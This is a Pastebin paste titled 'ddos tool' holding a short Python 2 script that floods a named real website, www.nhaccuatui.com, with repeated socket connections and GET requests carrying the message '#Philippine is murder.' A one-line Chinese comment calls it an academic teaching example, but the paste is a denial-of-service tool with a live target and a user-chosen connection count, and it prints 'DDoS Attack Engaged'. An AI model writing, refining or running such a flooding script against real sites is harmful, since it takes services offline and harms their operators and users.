Advertisement
Guest User

ddos tool

a guest
May 28th, 2015
383
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.77 KB | None | 0 0
  1. # -*- coding: utf-8 -*-
  2. # 純學術教學用途:簡易 python DDOS 範例
  3. import time, socket, os, sys, string
  4.  
  5. print ("DDoS mode loaded")
  6. host='www.nhaccuatui.com'
  7. port=80
  8. message="#Philippine is murder. "
  9. conn=input( "How many connections you want to make:" )
  10. ip = socket.gethostbyname( host )
  11.  
  12. def dos():
  13. ddos = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  14. try:
  15. ddos.connect((host, 80))
  16. ddos.send( "GET /%s HTTP/1.1\r\n" % message )
  17. ddos.sendto( "GET /%s HTTP/1.1\r\n" % message, (ip, port) )
  18. ddos.send( "GET /%s HTTP/1.1\r\n" % message )
  19. except socket.error, msg:
  20. print("|[Connection Failed] |")
  21. print ( "|[DDoS Attack Engaged] |")
  22. ddos.close()
  23.  
  24. for i in xrange(conn):
  25. dos()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement